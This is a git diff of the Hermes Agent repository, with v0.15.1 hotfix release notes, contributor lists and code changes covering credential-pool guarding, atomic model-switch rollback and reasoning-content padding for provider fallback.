+- Auth docs: replace stale `hermes login` references with `hermes auth add`. ([#32859](https://github.com/NousResearch/hermes-agent/pull/32859))
+
+---
+
+## 👥 Contributors
+
+### Core
+- @teknium1 (lead)
+
+### Notable salvages & cherry-picks
+
+- **@benbarclay** — s6-overlay container supervision (29 commits salvaged), Node 22 LTS upgrade, build-essential cleanup, `gateway run` auto-redirect in s6, tee supervised stdout to docker logs, `hermes update` Docker guidance, build-time SHA stamping
+- **@OutThisLife** — `mouse_tracking` DEC mode presets
+- **@jquesnelle** — Windows installer hardening, `--branch` flag for `hermes update`, install.ps1 BOM strip / commit-pin
+- **@alt-glitch** — Windows `dep_ensure` bootstrap, Nix package variants (`.#messaging`, `.#full`), install-method stamping, ACP browser bootstrap consolidation
+- **@austinpickett** — `/update` slash command, dashboard checkboxes → `@nous-research/ui`, mobile dashboard polish, collapsible sidebar
+- **@ethernet8023** — CI test slicing across GH Actions jobs, TUI clipboard copy fix
+- **@kshitijk4poor** — doctor section banner + fail-and-issue helpers extraction, post-tag salvage cluster (curator-fallout, kanban SQLite hardening, install world-readable uv dirs, xAI bare-code paste)
+- **@rewbs** — Nous JWT inference switch + refresh-token replay fix
+- **@Codename-11** + **@Schwartz10** — session control API (REST + SSE + multimodal followup)
+- **@Niraven** — kanban swarm topology helper
+- **@Interstellar-code** — kanban worker visibility endpoints
+- **@adybag14-cyber** — termux cold-start optimizations (multiple PRs)
+- **@qike-ms** — Telegram in-place status edits design
+- **@sprmn24** — ntfy adapter
+- **@Jaaneek** — xAI Web Search provider plugin
+- **@yannsunn** — xAI upstream adapter for `hermes proxy`
+- **@Cybourgeoisie** — OpenRouter sticky routing via session_id
+- **@memosr** — Nous Portal base_url allowlist validation
+- **@Sunil123135** — Windows Docker Desktop compose file
+- **@Dusk1e** — Docker HOME alignment for dashboard + s6 gateway services
+- **@beardthelion** — opencode-go anthropic_messages routing
+- **@YLChen-007** — Skills Guard multi-word prompt patterns
+- **@roadhero** — env_passthrough GHSA-rhgp-j443-p4rf filter
+- **@Zyrixtrex** — Google Chat OAuth credential persistence hardening
+- **@briandevans**, **@tomqiaozc** — defense-in-depth read-deny on credential stores
+- **@PratikRai0101** — control-plane file write protection
+- **@helix4u**, **@Bartok9**, **@zccyman** — auxiliary fallback ladder components
+- **@ms-alan**, **@ticketclosed-wontfix**, **@donovan-yohan** — TUI session orchestrator + follow-ups
+- **@daimon-nous[bot]** — cron per-job profile support
+- **@bisko** — re-pad `reasoning_content` on cross-provider fallback
+
+### All Contributors
+
+@02356abc, @0xchainer, @0xDevNinja, @0xjackyang, @0xsir0000, @0z1-ghb, @8bit64k, @aaronlab, @AceWattGit,
+@ACR27, @adam91holt, @AdamPlatin123, @Ade5954, @AdityaRajeshGadgil, @adybag14-cyber, @AhmetArif0, @ai-hana-ai,
+@alaamohanad169-ship-it, @alber70g, @albert748, @alt-glitch, @aqilaziz, @argabor, @asdlem, @austinpickett,
+@avifenesh, @awizemann, @B0Tch1, @Bartok9, @BaxBit, @Beandon13, @beardthelion, @benbarclay, @bensargotest-sys,
+@binhnt92, @bird, @bisko, @BlackishGreen33, @booker1207, @bradhallett, @briandevans, @Brixyy, @brndnsvr,
+@BROCCOLO1D, @btorresgil, @burjorjee, @carltonawong, @Carry00, @chaconne67, @chdlc, @chromalinx, @ChyuWei,
+@CipherFrame, @cmullins70, @CNSeniorious000, @codeblackhole1024, @Codename-11, @colin-chang, @counterposition,
+@cresslank, @CryptoByz, @cyb0rgk1tty, @Cybourgeoisie, @daizhonggeng, @darvsum, @davidcampbelldc, @deas,
+@dgians, @dillweed, @DoGMaTiiC, @donovan-yohan, @draplater, @Drexuxux, @dskwe, @dsr-restyn, @Dusk1e,
+@dusterbloom, @duyua9, @egilewski, @el-analista, @eliteworkstation94-ai, @eloklam, @EloquentBrush0x, @emonty,
+@emozilla, @erhnysr, @erikengervall, @Erosika, @ether-btc, @ethernet8023, @EvilHumphrey, @fabiosiqueira,
+@falasi, @falconexe, @fardoche6, @felix-windsor, @Fewmanism, @ffr31mr, @flamiinngo, @flanny7, @flooryyyy,
+@fonhal, @francip, @fujinice, @gianfrancopiana, @glennc, @Glucksberg, @godlin-gh, @Grogger, @guillaumemeyer,
+@Gutslabs, @H-Ali13381, @hanzckernel, @haran2001, @hawknewton, @hayka-pacha, @hehehe0803, @helix4u, @HenkDz,
+@Hermes, @hermesagent26, @Hinotoi-agent, @hongchen1993, @honor2030, @houenyang-momo, @ht1072, @hueilau,
+@iamfoz, @ilonagaja509-glitch, @InB4DevOps, @indigokarasu, @Interstellar-code, @iqdoctor, @iRonin, @Jaaneek,
+@JabberELF, @jacevys, @jackey8616, @jackjin1997, @jdelmerico, @jfuenmayor, @Jiahui-Gu, @JimLiu, @joe102084,
+@JohnC1009, @jonpol01, @Jpalmer95, @Julientalbot, @justemu, @justincc, @jvinals, @karthikeyann, @kasunvinod,
+@kchuang1015, @kenyonxu, @khungate, @kiranvk-2011, @kjames2001, @konsisumer, @kpadilha, @kriscolab,
+@krislidimo, @kronexoi, @kshitijk4poor, @kunci115, @Kylejeong2, @kylekahraman, @LaPhilosophie, @leeseoki0,
+@lemassykoi, @Lempkey, @LeonJS, @LeonSGP43, @lidge-jun, @LifeJiggy, @liuhao1024, @LizerAIDev, @loicnico96,
+@loongfay, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, @memosr,
+@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, @ms-alan, @Nami4D,
+@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, @Niraven, @nnnet, @noctilust, @novax635,
+@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,
+@OutThisLife, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,
+@PratikRai0101, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,
+@r266-tech, @rak135, @rdasilva1016-ui, @rewbs, @roadhero, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,
+@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,
+@Saurav0989, @savanne-kham, @Schrotti77, @Schwartz10, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,
+@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,
+@Soju06, @someaka, @soynchux, @sprmn24, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,
+@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, @Sunil123135, @superearn-fisher, @Sylw3ster, @tchanee,
+@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, @ticketclosed-wontfix, @Timur00Kh,
+@tomqiaozc, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,
+@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,
+@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, @yannsunn, @YanzhongSu, @YarrowQiao, @ygd58,
+@YLChen-007, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, @zccyman, @ziliangpeng, @zwolniony, @Zyrixtrex
+
+---
+
+**Full Changelog**: [v2026.5.16...v2026.5.28](https://github.com/NousResearch/hermes-agent/compare/v2026.5.16...v2026.5.28)

RELEASE_v0.15.1.md

@@ -0,0 +1,110 @@
+# Hermes Agent v0.15.1 (v2026.5.29)
+
+**Release Date:** May 29, 2026
+**Since v0.15.0:** 28 commits · 21 merged PRs · hotfix release · 9 contributors
+
+> **The Patch Release.** A same-day hotfix for v0.15.0. Headline fix: the dashboard infinite-reload loop that hit anyone running v0.15.0 in loopback mode (Docker, hosted Hermes, fresh installs). A handful of other v0.15.0 follow-ups go along for the ride — kanban worker SIGTERM, `/model` picker unification, `/yolo` session bypass, the full 19,932-entry skills.sh catalog, `.md` media delivery restoration, gateway probe-stepdown safety, web-URL redaction passthrough, kanban worker vision on referenced images, hindsight observation-default. Docker users get an explicit `--insecure` opt-in env var (no more bind-host inference), MCP server bare-command PATH resolution, and arm64 PR-build cache fixes.
+
+---
+
+## ✨ Highlights
+
+- **Dashboard 401 reload loop fixed** — In loopback mode the dashboard's identity probe (`/api/auth/me`) returns 401 by design, but v0.15.0's stale-token reload guard treated every 401 as a rotated session token and full-page-reloaded to pick up a fresh one. Every successful sibling call cleared the one-shot reload guard, so the page reload-looped forever (Firefox: "Navigated to /sessions" storm; Chrome: React re-render storm). Fix adds an `allowUnauthorized` opt-out to `fetchJSON` that skips only the loopback stale-token reload — 401 still throws so `AuthWidget` swallows it, gated-mode `login_url` redirects are unaffected. Closes [#34206](https://github.com/NousResearch/hermes-agent/issues/34206), [#34202](https://github.com/NousResearch/hermes-agent/issues/34202). ([#30698](https://github.com/NousResearch/hermes-agent/pull/30698) — @austinpickett)
+
+- **Docker dashboard `--insecure` is now an explicit env opt-in, never derived from bind host** — Previously the Docker entrypoint inferred `--insecure` when the dashboard bound to a non-loopback host. That conflated "I want LAN access" with "I want to disable the same-origin guard." The fix splits them: bind host is bind host, and disabling the dashboard's loopback auth requires an explicit `HERMES_DASHBOARD_INSECURE=1`. Existing setups that genuinely wanted insecure binding must now set the env var. ([#34188](https://github.com/NousResearch/hermes-agent/pull/34188), [#34204](https://github.com/NousResearch/hermes-agent/pull/34204) — @benbarclay)
+
+- **MCP bare command resolution under Docker** — MCP servers configured with bare commands (`npx`, `npm`, `node`) now resolve against `/usr/local/bin` so they actually launch inside the Docker image where those binaries live. v0.15.0 left these failing silently in containers when the agent's effective PATH didn't include the Node toolchain location. ([#34186](https://github.com/NousResearch/hermes-agent/pull/34186) — @benbarclay)
+
+- **Skills page sidebar / source pills restored** — A stale `useMemo` dependency in the new dashboard skills page collapsed the source pills and category sidebar to "All" only. Fixed; both surfaces now reflect the live catalog state. ([#34194](https://github.com/NousResearch/hermes-agent/pull/34194))
+
+- **Kanban worker can be killed again** — `SIGTERM` on a kanban worker was being absorbed by an intermediate process and the worker stayed running. Closes [#28181](https://github.com/NousResearch/hermes-agent/issues/28181). ([#34045](https://github.com/NousResearch/hermes-agent/pull/34045))
+
+- **Full skills.sh catalog (858 → 19,932 entries)** — The skills hub page was pulling a partial paginated catalog. The fetch now walks the sitemap, so all 19,932 skills.sh entries surface in the picker instead of just the first 858. ([#34025](https://github.com/NousResearch/hermes-agent/pull/34025))
+
+---
+
+## 🐛 Bug Fixes
+
+### Dashboard / Web
+
+- **`/api/auth/me` 401 no longer triggers reload loop** in loopback mode — ([#30698](https://github.com/NousResearch/hermes-agent/pull/30698) — @austinpickett)
+- **Skills page source pills + category sidebar restored** — stale `useMemo` dep ([#34194](https://github.com/NousResearch/hermes-agent/pull/34194))
+
+### Docker
+
+- **`--insecure` is now explicit opt-in via env var**, not derived from bind host ([#34188](https://github.com/NousResearch/hermes-agent/pull/34188) — @benbarclay)
+- **Dashboard test suite repaired** to match the insecure-opt-in fix ([#34204](https://github.com/NousResearch/hermes-agent/pull/34204) — @benbarclay)
+- **arm64 PR builds skip the GHA cache** to avoid cache-thrash on cross-arch builders ([#33704](https://github.com/NousResearch/hermes-agent/pull/33704) — @BROCCOLO1D)
+
+### MCP
+
+- **Bare `npx`/`npm`/`node` resolve against `/usr/local/bin`** for Docker compatibility ([#34186](https://github.com/NousResearch/hermes-agent/pull/34186) — @benbarclay)
+
+### Kanban
+
+- **Worker SIGTERM actually terminates the process** ([#34045](https://github.com/NousResearch/hermes-agent/pull/34045))
+- **Workers receive images referenced in task bodies** for vision-capable models ([#34210](https://github.com/NousResearch/hermes-agent/pull/34210))
+
+### Gateway
+
+- **`.md` files deliver again** — media-delivery validation defaults to denylist-only instead of an overly-narrow allowlist ([#34022](https://github.com/NousResearch/hermes-agent/pull/34022))
+- **Probe stepdown safety** — on a context-overflow without an explicit provider context limit, the agent no longer steps down to a smaller model based on an unknown ceiling (salvage of [#33673](https://github.com/NousResearch/hermes-agent/pull/33673)) ([#33826](https://github.com/NousResearch/hermes-agent/pull/33826))
+
+### CLI
+
+- **`/yolo` mid-session enables the per-session bypass** instead of just toggling the env var (which the running agent had already snapshotted) ([#33931](https://github.com/NousResearch/hermes-agent/pull/33931) — @kshitijk4poor)
+- **`/model` and `hermes model` show the same list**, plus disk cache for picker startup ([#33867](https://github.com/NousResearch/hermes-agent/pull/33867))
+
+### Skills
+
+- **Full skills.sh catalog via sitemap** — 858 → 19,932 entries ([#34025](https://github.com/NousResearch/hermes-agent/pull/34025))
+
+### Redaction
+
+- **Web URLs pass through unchanged** — the redactor was eating query parameters that looked credential-shaped ([#34029](https://github.com/NousResearch/hermes-agent/pull/34029))
+
+---
+
+## ✨ Small Features
+
+- **Hindsight default narrowed to observation-only** for `recall_types` — tool path is also narrowed ([#34079](https://github.com/NousResearch/hermes-agent/pull/34079) — @nicoloboschi, follow-up [#34091](https://github.com/NousResearch/hermes-agent/pull/4df62d239e38bf8c212a595721c9c01e176f6c3a) — @kshitijk4poor)
+- **Memory providers receive completed-turn message context** — salvage of [#28065](https://github.com/NousResearch/hermes-agent/pull/28065) ([#34097](https://github.com/NousResearch/hermes-agent/pull/34097) — @kshitijk4poor, credit to @devwdave)
+
+---
+
+## 📚 Documentation
+
+- **`--no-supervise` / `HERMES_GATEWAY_NO_SUPERVISE` documented** in the reference docs (follow-up to [#33583](https://github.com/NousResearch/hermes-agent/pull/33583)) ([#33751](https://github.com/NousResearch/hermes-agent/pull/33751) — @r266-tech)
+
+---
+
+## 🛠️ Infrastructure
+
+- **Vercel deploy workflow accepts `workflow_dispatch`** so docs deploys can be manually triggered ([#34081](https://github.com/NousResearch/hermes-agent/pull/34081))
+- **`@nous-research/ui` bumped to 0.18.2** (Nix `npmDepsHash` also updated to match) ([#34193](https://github.com/NousResearch/hermes-agent/pull/34193) follow-ups — @austinpickett)
+
+---
+
+## 👥 Contributors
+
+### Core
+- @teknium1
+
+### Community
+- @austinpickett — dashboard 401 reload-loop fix (the headline), `@nous-research/ui` bump, Nix `npmDepsHash` updates
+- @benbarclay — Docker `--insecure` opt-in, MCP bare-command resolution, dashboard test repair
+- @kshitijk4poor — `/yolo` session bypass, completed-turn memory context salvage, hindsight follow-up docs
+- @nicoloboschi — hindsight `recall_types` observation default
+- @BROCCOLO1D — arm64 PR build cache fix
+- @r266-tech — `--no-supervise` reference docs
+- @yangguangjin — probe stepdown safety (salvage of @yanghd's #33673)
+- @devwdave — completed-turn memory context (credited via salvage)
+- @andrewhosf — co-author
+
+### Issue Reporters (the 401 loop)
+- @routesmith ([#34206](https://github.com/NousResearch/hermes-agent/issues/34206))
+- @beeaton ([#34202](https://github.com/NousResearch/hermes-agent/issues/34202))
+
+---
+
+**Full Changelog**: [v2026.5.28...v2026.5.29](https://github.com/NousResearch/hermes-agent/compare/v2026.5.28...v2026.5.29)

acp_registry/agent.json

@@ -1,7 +1,7 @@
 {
   "id": "hermes-agent",
   "name": "Hermes Agent",
-  "version": "0.14.0",
+  "version": "0.15.1",
   "description": "Self-improving open-source AI agent by Nous Research with ACP editor integration, persistent memory, skills, and rich tool support.",
   "repository": "https://github.com/NousResearch/hermes-agent",
   "website": "https://hermes-agent.nousresearch.com/docs/user-guide/features/acp",
@@ -9,7 +9,7 @@
   "license": "MIT",
   "distribution": {
     "uvx": {
-      "package": "hermes-agent[acp]==0.14.0",
+      "package": "hermes-agent[acp]==0.15.1",
       "args": ["hermes-acp"]
     }
   }

agent/__init__.py

@@ -4,3 +4,5 @@ These modules contain pure utility functions and self-contained classes
 that were previously embedded in the 3,600-line run_agent.py. Extracting
 them makes run_agent.py focused on the AIAgent orchestrator class.
 """
+
+from . import jiter_preload as _jiter_preload  # noqa: F401

agent/agent_init.py

@@ -183,6 +183,7 @@ def init_agent(
     prefill_messages: List[Dict[str, Any]] = None,
     platform: str = None,
     user_id: str = None,
+    user_id_alt: str = None,
     user_name: str = None,
     chat_id: str = None,
     chat_name: str = None,
@@ -265,6 +266,7 @@ def init_agent(
     agent.ephemeral_system_prompt = ephemeral_system_prompt
     agent.platform = platform  # "cli", "telegram", "discord", "whatsapp", etc.
     agent._user_id = user_id  # Platform user identifier (gateway sessions)
+    agent._user_id_alt = user_id_alt  # Optional stable alternate platform identifier
     agent._user_name = user_name
     agent._chat_id = chat_id
     agent._chat_name = chat_name
@@ -736,8 +738,8 @@ def init_agent(
                 client_kwargs["default_headers"] = _codex_cloudflare_headers(api_key)
             elif "default_headers" not in client_kwargs:
                 # Fall back to profile.default_headers for providers that
-                # declare custom headers (e.g. Vercel AI Gateway attribution,
-                # Kimi User-Agent on non-kimi.com endpoints).
+                # declare custom headers (e.g. Kimi User-Agent on non-kimi.com
+                # endpoints).
                 try:
                     from providers import get_provider_profile as _gpf
                     _ph = _gpf(agent.provider)
@@ -1005,6 +1007,13 @@ def init_agent(
     
     # Track conversation messages for session logging
     agent._session_messages: List[Dict[str, Any]] = []
+    # Responses encrypted reasoning replay state.  Some OpenAI-compatible
+    # routes accept GPT-5 Responses requests but later reject replayed
+    # encrypted reasoning blobs (HTTP 400 ``invalid_encrypted_content``).
+    # When that happens we disable replay for the rest of the session and
+    # fall back to stateless continuity.  See
+    # agent/conversation_loop.py's invalid_encrypted_content retry branch.
+    agent._codex_reasoning_replay_enabled = True
     agent._memory_write_origin = "assistant_tool"
     agent._memory_write_context = "foreground"
     
@@ -1112,6 +1121,8 @@ def init_agent(
                     # Thread gateway user identity for per-user memory scoping
                     if agent._user_id:
                         _init_kwargs["user_id"] = agent._user_id
+                    if agent._user_id_alt:
+                        _init_kwargs["user_id_alt"] = agent._user_id_alt
                     if agent._user_name:
                         _init_kwargs["user_name"] = agent._user_name
                     if agent._chat_id:
@@ -1511,6 +1522,7 @@ def init_agent(
                 platform=agent.platform or "cli",
                 model=agent.model,
                 context_length=getattr(agent.context_compressor, "context_length", 0),
+                conversation_id=getattr(agent, "_gateway_session_key", None),
             )
         except Exception as _ce_err:
             _ra().logger.debug("Context engine on_session_start: %s", _ce_err)

agent/agent_runtime_helpers.py

@@ -560,6 +560,24 @@ def recover_with_credential_pool(
     if pool is None:
         return False, has_retried_429
 
+    # Defensive guard: if a fallback provider is active and its provider name
+    # doesn't match the pool's provider, the pool belongs to the PRIMARY
+    # provider.  Mutating it based on fallback errors would corrupt the
+    # primary's credential state (see #33088) and, via _swap_credential,
+    # overwrite the agent's base_url back to the primary's endpoint — every
+    # subsequent request then goes to the wrong host and 404s (see #33163).
+    # The pool should only act when the agent is still on the same provider
+    # that seeded the pool.
+    current_provider = (getattr(agent, "provider", "") or "").strip().lower()
+    pool_provider = (getattr(pool, "provider", "") or "").strip().lower()
+    if current_provider and pool_provider and current_provider != pool_provider:
+        _ra().logger.warning(
+            "Credential pool provider mismatch: pool=%s, agent=%s — "
+            "skipping pool mutation to avoid cross-provider contamination",
+            pool_provider, current_provider,
+        )
+        return False, has_retried_429
+
     effective_reason = classified_reason
     if effective_reason is None:
         if status_code == 402:
@@ -1361,81 +1379,129 @@ def switch_model(agent, new_model, new_provider, api_key='', base_url='', api_mo
     old_model = agent.model
     old_provider = agent.provider
 
-    # Clear the per-config context_length override so the new model's
-    # actual context window is resolved via get_model_context_length()
-    # instead of inheriting the stale value from the previous model.
-    agent._config_context_length = None
-
-    # ── Swap core runtime fields ──
-    agent.model = new_model
-    agent.provider = new_provider
-    # Use new base_url when provided; only fall back to current when the
-    # new provider genuinely has no endpoint (e.g. native SDK providers).
-    # Without this guard the old provider's URL (e.g. Ollama's localhost
-    # address) would persist silently after switching to a cloud provider
-    # that returns an empty base_url string.
-    if base_url:
-        agent.base_url = base_url
-    agent.api_mode = api_mode
-    # Invalidate transport cache — new api_mode may need a different transport
-    if hasattr(agent, "_transport_cache"):
-        agent._transport_cache.clear()
-    if api_key:
-        agent.api_key = api_key
-
-    # ── Build new client ──
-    if api_mode == "anthropic_messages":
-        from agent.anthropic_adapter import (
-            build_anthropic_client,
-            resolve_anthropic_token,
-            _is_oauth_token,
+    # ── Snapshot all fields the swap+rebuild can mutate ──
+    # If the rebuild raises (bad API key, network error, build_anthropic_client
+    # failure, etc.) we restore these atomically so the agent isn't left with a
+    # new model/provider name paired with the OLD client — that mismatch causes
+    # HTTP 400s like "claude-sonnet-4-6 is not supported on openai-codex" on the
+    # next turn.  Callers in cli.py / gateway/run.py / tui_gateway/server.py
+    # catch the re-raised exception and show the user a warning; without this
+    # rollback the warning is misleading because the swap partially succeeded.
+    # Use a sentinel so we can distinguish "attribute was unset" from
+    # "attribute was None" and skip the restore for genuinely-missing
+    # attributes (tests construct bare agents via __new__ without all fields).
+    _MISSING = object()
+    _snapshot = {
+        name: getattr(agent, name, _MISSING)
+        for name in (
+            "model",
+            "provider",
+            "base_url",
+            "api_mode",
+            "api_key",
+            "client",
+            "_anthropic_client",
+            "_anthropic_api_key",
+            "_anthropic_base_url",
+            "_is_anthropic_oauth",
+            "_config_context_length",
         )
-        # Only fall back to ANTHROPIC_TOKEN when the provider is actually Anthropic.
-        # Other anthropic_messages providers (MiniMax, Alibaba, etc.) must use their own
-        # API key — falling back would send Anthropic credentials to third-party endpoints.
-        _is_native_anthropic = new_provider == "anthropic"
-        effective_key = (api_key or agent.api_key or resolve_anthropic_token() or "") if _is_native_anthropic else (api_key or agent.api_key or "")
+    }
+    # _client_kwargs is a dict — snapshot a shallow copy so mutating the
+    # live dict doesn't poison the rollback target.
+    _snapshot["_client_kwargs"] = dict(getattr(agent, "_client_kwargs", {}) or {})
 
-        # MiniMax OAuth: swap static string for a per-request callable token
-        # provider so the rebuilt client survives 15-min token expiry. See
-        # the matching block in agent_init.py for the full rationale.
-        if new_provider == "minimax-oauth" and isinstance(effective_key, str) and effective_key:
+    try:
+        # Clear the per-config context_length override so the new model's
+        # actual context window is resolved via get_model_context_length()
+        # instead of inheriting the stale value from the previous model.
+        agent._config_context_length = None
+
+        # ── Swap core runtime fields ──
+        agent.model = new_model
+        agent.provider = new_provider
+        # Use new base_url when provided; only fall back to current when the
+        # new provider genuinely has no endpoint (e.g. native SDK providers).
+        # Without this guard the old provider's URL (e.g. Ollama's localhost
+        # address) would persist silently after switching to a cloud provider
+        # that returns an empty base_url string.
+        if base_url:
+            agent.base_url = base_url
+        agent.api_mode = api_mode
+        # Invalidate transport cache — new api_mode may need a different transport
+        if hasattr(agent, "_transport_cache"):
+            agent._transport_cache.clear()
+        if api_key:
+            agent.api_key = api_key
+
+        # ── Build new client ──
+        if api_mode == "anthropic_messages":
+            from agent.anthropic_adapter import (
+                build_anthropic_client,
+                resolve_anthropic_token,
+                _is_oauth_token,
+            )
+            # Only fall back to ANTHROPIC_TOKEN when the provider is actually Anthropic.
+            # Other anthropic_messages providers (MiniMax, Alibaba, etc.) must use their own
+            # API key — falling back would send Anthropic credentials to third-party endpoints.
+            _is_native_anthropic = new_provider == "anthropic"
+            effective_key = (api_key or agent.api_key or resolve_anthropic_token() or "") if _is_native_anthropic else (api_key or agent.api_key or "")
+
+            # MiniMax OAuth: swap static string for a per-request callable token
+            # provider so the rebuilt client survives 15-min token expiry. See
+            # the matching block in agent_init.py for the full rationale.
+            if new_provider == "minimax-oauth" and isinstance(effective_key, str) and effective_key:
+                try:
+                    from hermes_cli.auth import build_minimax_oauth_token_provider
+                    effective_key = build_minimax_oauth_token_provider()
+                except Exception as _mm_exc:  # noqa: BLE001
+                    import logging as _logging
+                    _logging.getLogger(__name__).warning(
+                        "MiniMax OAuth: failed to install per-request token provider "
+                        "on switch (%s); using static bearer.",
+                        _mm_exc,
+                    )
+
+            agent.api_key = effective_key
+            agent._anthropic_api_key = effective_key
+            agent._anthropic_base_url = base_url or getattr(agent, "_anthropic_base_url", None)
+            agent._anthropic_client = build_anthropic_client(
+                effective_key, agent._anthropic_base_url,
+                timeout=get_provider_request_timeout(agent.provider, agent.model),
+            )
+            agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_native_anthropic and isinstance(effective_key, str)) else False
+            agent.client = None
+            agent._client_kwargs = {}
+        else:
+            effective_key = api_key or agent.api_key
+            effective_base = base_url or agent.base_url
+            agent._client_kwargs = {
+                "api_key": effective_key,
+                "base_url": effective_base,
+            }
+            _sm_timeout = get_provider_request_timeout(agent.provider, agent.model)
+            if _sm_timeout is not None:
+                agent._client_kwargs["timeout"] = _sm_timeout
+            agent.client = agent._create_openai_client(
+                dict(agent._client_kwargs),
+                reason="switch_model",
+                shared=True,
+            )
+    except Exception:
+        # Rollback every mutated field to the pre-swap snapshot so the agent
+        # is left consistent (old model + old provider + old client) and the
+        # caller's exception handler can surface a meaningful warning.  The
+        # exception is re-raised; cli.py / gateway/run.py / tui_gateway catch
+        # it and print "Agent swap failed; change applied to next session".
+        for _name, _value in _snapshot.items():
+            if _value is _MISSING:
+                # Attribute did not exist before the swap — don't fabricate it.
+                continue
             try:
-                from hermes_cli.auth import build_minimax_oauth_token_provider
-                effective_key = build_minimax_oauth_token_provider()
-            except Exception as _mm_exc:  # noqa: BLE001
-                import logging as _logging
-                _logging.getLogger(__name__).warning(
-                    "MiniMax OAuth: failed to install per-request token provider "
-                    "on switch (%s); using static bearer.",
-                    _mm_exc,
-                )
-
-        agent.api_key = effective_key
-        agent._anthropic_api_key = effective_key
-        agent._anthropic_base_url = base_url or getattr(agent, "_anthropic_base_url", None)
-        agent._anthropic_client = build_anthropic_client(
-            effective_key, agent._anthropic_base_url,
-            timeout=get_provider_request_timeout(agent.provider, agent.model),
-        )
-        agent._is_anthropic_oauth = _is_oauth_token(effective_key) if (_is_native_anthropic and isinstance(effective_key, str)) else False
-        agent.client = None
-        agent._client_kwargs = {}
-    else:
-        effective_key = api_key or agent.api_key
-        effective_base = base_url or agent.base_url
-        agent._client_kwargs = {
-            "api_key": effective_key,
-            "base_url": effective_base,
-        }
-        _sm_timeout = get_provider_request_timeout(agent.provider, agent.model)
-        if _sm_timeout is not None:
-            agent._client_kwargs["timeout"] = _sm_timeout
-        agent.client = agent._create_openai_client(
-            dict(agent._client_kwargs),
-            reason="switch_model",
-            shared=True,
-        )
+                setattr(agent, _name, _value)
+            except Exception:  # noqa: BLE001
+                pass
+        raise
 
     # ── Re-evaluate prompt caching ──
     agent._use_prompt_caching, agent._use_native_cache_layout = (
@@ -1928,6 +1994,36 @@ def copy_reasoning_content_for_api(agent, source_msg: dict, api_msg: dict) -> No
     api_msg.pop("reasoning_content", None)
 
 
+def reapply_reasoning_echo_for_provider(agent, api_messages: list) -> int:
+    """Re-pad assistant turns with reasoning_content for the active provider.
+
+    ``api_messages`` is built once, before the retry loop, while the *primary*
+    provider is active.  If a mid-conversation fallback then switches to a
+    require-side provider (DeepSeek / Kimi / MiMo thinking mode), assistant
+    turns that were built when the prior provider did NOT need the echo-back go
+    out without ``reasoning_content`` and the new provider rejects them with
+    HTTP 400 ("The reasoning_content in the thinking mode must be passed back").
+
+    Calling this immediately before building the request kwargs re-applies the
+    pad against the *current* provider.  It is idempotent and a no-op unless
+    ``_needs_thinking_reasoning_pad()`` is True for the active provider, so it
+    is safe to call every iteration and covers every fallback path.
+
+    Returns the number of assistant turns that gained reasoning_content.
+    """
+    if not agent._needs_thinking_reasoning_pad():
+        return 0
+    padded = 0
+    for api_msg in api_messages:
+        if api_msg.get("role") != "assistant":
+            continue
+        if api_msg.get("reasoning_content"):
+            continue
+        copy_reasoning_content_for_api(agent, api_msg, api_msg)
+        if api_msg.get("reasoning_content"):
+            padded += 1
+    return padded
+
 
 def _iter_pool_sockets(client: Any):
     """Yield raw sockets reachable from an OpenAI/httpx client pool.

agent/anthropic_adapter.py

@@ -77,16 +77,16 @@ ADAPTIVE_EFFORT_MAP = {
 # xhigh as a distinct level between high and max; older adaptive-thinking
 # models (4.6) reject it with a 400.  Keep this substring list in sync with
 # the Anthropic migration guide as new model families ship.
-_XHIGH_EFFORT_SUBSTRINGS = ("4-7", "4.7")
+_XHIGH_EFFORT_SUBSTRINGS = ("4-7", "4.7", "4-8", "4.8")
 
 # Models where extended thinking is deprecated/removed (4.6+ behavior: adaptive
 # is the only supported mode; 4.7 additionally forbids manual thinking entirely
 # and drops temperature/top_p/top_k).
-_ADAPTIVE_THINKING_SUBSTRINGS = ("4-6", "4.6", "4-7", "4.7")
+_ADAPTIVE_THINKING_SUBSTRINGS = ("4-6", "4.6", "4-7", "4.7", "4-8", "4.8")
 
 # Models where temperature/top_p/top_k return 400 if set to non-default values.
 # This is the Opus 4.7 contract; future 4.x+ models are expected to follow it.
-_NO_SAMPLING_PARAMS_SUBSTRINGS = ("4-7", "4.7")
+_NO_SAMPLING_PARAMS_SUBSTRINGS = ("4-7", "4.7", "4-8", "4.8")
 _FAST_MODE_SUPPORTED_SUBSTRINGS = ("opus-4-6", "opus-4.6")
 
 # ── Max output token limits per Anthropic model ───────────────────────
@@ -94,6 +94,8 @@ _FAST_MODE_SUPPORTED_SUBSTRINGS = ("opus-4-6", "opus-4.6")
 # max_tokens as a mandatory field.  Previously we hardcoded 16384, which
 # starves thinking-enabled models (thinking tokens count toward the limit).
 _ANTHROPIC_OUTPUT_LIMITS = {
+    # Claude 4.8
+    "claude-opus-4-8":   128_000,
     # Claude 4.7
     "claude-opus-4-7":   128_000,
     # Claude 4.6

agent/auxiliary_client.py

@@ -269,7 +269,6 @@ _API_KEY_PROVIDER_AUX_MODELS_FALLBACK: Dict[str, str] = {
